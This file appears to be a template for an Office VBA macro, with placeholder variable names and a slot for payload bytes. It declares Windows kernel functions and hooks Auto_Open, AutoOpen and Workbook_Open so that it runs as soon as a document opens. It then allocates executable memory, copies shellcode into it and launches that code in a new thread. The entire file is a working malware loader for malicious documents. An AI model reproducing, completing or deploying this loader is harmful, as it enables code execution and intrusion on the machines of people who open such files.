33 lines
1.9 KiB
Plaintext
33 lines
1.9 KiB
Plaintext
#If Vba7 Then
|
|
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
|
|
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
|
|
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
|
|
#Else
|
|
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
|
|
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
|
|
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
|
|
#EndIf
|
|
|
|
Sub Auto_Open()
|
|
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
|
|
#If Vba7 Then
|
|
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
|
|
#Else
|
|
Dim %{var_rwxpage} As Long, %{var_res} As Long
|
|
#EndIf
|
|
%{bytes}
|
|
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
|
|
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
|
|
%{var_myByte} = %{var_myArray}(%{var_offset})
|
|
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
|
|
Next %{var_offset}
|
|
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
|
|
End Sub
|
|
Sub AutoOpen()
|
|
Auto_Open
|
|
End Sub
|
|
Sub Workbook_Open()
|
|
Auto_Open
|
|
End Sub
|
|
|